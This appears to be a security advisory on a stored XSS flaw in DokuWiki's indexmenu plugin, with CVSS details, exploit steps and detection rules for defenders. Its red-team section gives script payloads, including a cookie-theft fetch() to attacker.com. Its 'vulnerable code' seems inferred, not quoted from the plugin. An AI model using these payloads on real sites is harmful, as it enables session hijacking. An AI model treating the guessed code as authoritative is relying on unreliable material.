CVE-2024-42758

Executive Summary

CVE-2024-42758 describes a stored Cross-Site Scripting (XSS) vulnerability in the indexmenu plugin for DokuWiki (version v2024-01-05). An authenticated attacker with page creation or editing privileges can inject malicious JavaScript payloads into wiki pages. Due to DokuWiki’s design, these payloads are stored in plain-text .txt files on the server, resulting in persistent XSS that executes whenever a victim views the compromised page. The vulnerability has a CVSS score of 4.8 (Medium), with a public proof-of-concept available. No official patch has been released as of this report.

Supply Chain & Package Security

This vulnerability affects a third-party plugin (indexmenu) for the DokuWiki ecosystem. DokuWiki itself is not directly vulnerable, but the plugin introduces the XSS flaw. Users should verify the integrity of the plugin source and consider disabling it until a patch is available.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Base Score: 4.8 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – attacker needs a valid account with page edit/create rights
• User Interaction: Required (UI:R) – victim must view the malicious page
• Scope: Changed (S:C) – XSS can affect other parts of the application
• Confidentiality Impact: Low (C:L) – limited data exfiltration possible
• Integrity Impact: Low (I:L) – content modification possible
• Availability Impact: None (A:N)

Threat Level: Medium. Exploitation requires authentication and user interaction, but the stored nature of the XSS increases persistence and reach.

Deep Dive & Mechanics

The vulnerability resides in the indexmenu plugin’s handling of user-supplied content when creating or editing wiki pages. The plugin fails to properly sanitize or escape HTML/JavaScript before storing the page content in DokuWiki’s .txt file storage system.

Attack Flow:

1. An authenticated attacker creates or edits a wiki page.
2. The attacker injects a malicious payload, e.g., <script>alert('XSS')</script>, into the page content.
3. DokuWiki stores the raw content in a .txt file on the server.
4. When a victim (including administrators) views the page, the plugin renders the stored content without proper sanitization.
5. The injected script executes in the victim’s browser context, allowing cookie theft, session hijacking, or further attacks.

Root Cause: Lack of output encoding in the indexmenu plugin’s rendering logic. The plugin likely uses echo or similar functions without applying htmlspecialchars() or equivalent escaping.

Vulnerable vs. Patched Code

Vulnerable Code (indexmenu plugin v2024-01-05):

// Vulnerable: Direct output without sanitization
function render_indexmenu($page_content) {
    echo $page_content; // XSS vulnerability
}

Patched Code (Hypothetical fix):

// Patched: Proper HTML escaping
function render_indexmenu($page_content) {
    echo htmlspecialchars($page_content, ENT_QUOTES, 'UTF-8');
}

Note: No official patch exists. The above is a recommended fix.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• DokuWiki instance with indexmenu plugin v2024-01-05 enabled
• Valid user account with page edit/create permissions

Exploit Steps:

1. Log in to DokuWiki.
2. Create a new page or edit an existing one.
3. Insert the following payload into the page content:

   <script>alert('XSS by CVE-2024-42758');</script>
   

4. Save the page.
5. Share the page link with a victim or wait for an administrator to view it.
6. The script executes in the victim’s browser.

Advanced Payload (Cookie Theft):

<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

Blue Team (Detection & Defense)

Detection:

• Monitor DokuWiki page creation/edit logs for suspicious content.
• Use WAF rules to block <script> tags in page content.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Defense:

• Disable the indexmenu plugin until a patch is available.
• Apply input validation and output encoding manually if possible.
• Restrict page edit permissions to trusted users only.

Indicators of Compromise (IOCs)

• File-based IOCs:
  • DokuWiki .txt files containing <script> tags or event handlers (e.g., onload, onerror).
• Network IOCs:
  • Outbound HTTP requests to attacker-controlled domains from DokuWiki pages.
• Log IOCs:
  • DokuWiki access logs showing requests to pages with injected scripts.
  • Server error logs with JavaScript execution errors.

Example IOC (File content):

data/pages/example.txt: <script>alert('XSS')</script>

Detection Engineering

YARA Rule

rule CVE_2024_42758_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in DokuWiki .txt files"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-42758"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /on\w+\s*=\s*['\"].*?['\"]/is
        $xss3 = /javascript\s*:/is
    condition:
        any of them
}

Sigma Rule

title: DokuWiki Stored XSS via indexmenu Plugin
id: 8a9b3c2d-1e4f-5a6b-7c8d-9e0f1a2b3c4d
status: experimental
description: Detects potential stored XSS attempts in DokuWiki page content
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'do=save'
        cs-request-body|contains:
            - '<script'
            - 'onload='
            - 'onerror='
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in wiki pages (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-42758 DokuWiki Stored XSS Payload";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"do=save"; http_uri;
    content:"<script"; http_client_body;
    sid:1000001;
    rev:1;
    reference:cve,2024-42758;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the indexmenu plugin in DokuWiki’s plugin manager.
2. Restrict page edit permissions to only trusted users.
3. Implement a Web Application Firewall (WAF) rule to block <script> tags in POST requests.

Long-term Fix:

• Apply output encoding in the plugin’s rendering function (see patched code above).
• Monitor the plugin’s repository for an official patch.
• Consider switching to an alternative navigation plugin.

Valters IT Signature:

Valters IT
Cybersecurity & DevSecOps
https://valters-it.com